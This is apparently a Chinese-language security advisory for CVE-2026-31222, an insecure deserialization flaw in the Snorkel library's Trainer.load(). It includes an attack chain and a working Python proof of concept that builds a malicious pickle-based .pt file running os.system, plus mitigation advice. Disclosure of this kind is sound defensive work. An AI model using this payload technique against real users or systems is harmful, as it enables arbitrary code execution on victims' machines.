IPBUF安全漏洞报告
English
CVE-2026-31222 CVSS 8.8 高危

CVE-2026-31222 Snorkel不安全反序列化漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31222
漏洞类型
不安全的反序列化
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
snorkel

相关标签

RCE不安全的反序列化CWE-502SnorkelPyTorchMachine Learning

漏洞概述

Snorkel库v0.10.0及之前版本在Trainer.load()方法中存在不安全的反序列化漏洞。该漏洞源于使用了torch.load()加载模型且未限制加载内容,攻击者可诱导受害者加载特制的恶意模型文件,利用Pickle机制反序列化任意对象,最终导致在受害者系统上远程执行任意代码。

技术细节

该漏洞位于Snorkel库的Trainer类load()方法中。该方法默认使用PyTorch的torch.load()函数来加载模型检查点文件,而torch.load()底层机制依赖于Python的pickle模块。由于开发者在实现时未启用安全限制参数`weights_only=True`,导致反序列化过程缺乏必要的校验。攻击者可以利用pickle协议的特性,构造包含恶意Python指令的特制模型文件。此漏洞利用路径为网络攻击向量,虽然需要用户交互(如诱导用户加载恶意文件),但一旦受害者调用Trainer.load()加载该文件,恶意代码便会在反序列化过程中自动执行,从而获取系统控制权,造成严重的安全后果。

攻击链分析

STEP 1
侦察与准备
攻击者识别目标是否使用了Snorkel库(v0.10.0及以下版本),并准备构造恶意代码。
STEP 2
构造恶意文件
攻击者编写Python脚本,利用pickle的__reduce__方法封装恶意指令,并将其通过torch.save保存为看起来合法的模型文件(.pt或.pth)。
STEP 3
投递恶意文件
攻击者通过网络钓鱼、供应链攻击或替换合法模型下载链接的方式,将恶意模型文件发送给受害者。
STEP 4
诱导加载
诱导受害者使用Snorkel的Trainer.load()方法加载该恶意文件。
STEP 5
执行代码
当文件被加载时,pickle自动反序列化,触发__reduce__中的恶意命令,在受害者机器上执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import torch import pickle # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file or running a shell) # In a real attack, this might be a reverse shell return (os.system, ('echo "CVE-2026-31222 Exploited" > /tmp/pwned.txt',)) # Create the malicious object malicious_obj = MaliciousPayload() # Save the object using torch.save (which uses pickle internally) # This simulates a crafted model file print("[*] Creating malicious model file...") torch.save(malicious_obj, 'malicious_model.pt') print("[+] File 'malicious_model.pt' created successfully.") print("[*] When a victim loads this file using Trainer.load(), the command will execute.") # Simulation of the vulnerable load (commented out for safety) # trainer = Trainer() # trainer.load('malicious_model.pt')

影响范围

snorkel <= 0.10.0

防御指南

临时缓解措施
在未升级版本前,用户应避免加载来源不明的模型文件。开发者应在调用torch.load()时强制添加weights_only=True参数,或者仅在隔离的沙箱环境中处理外部模型文件,以限制潜在的代码执行风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表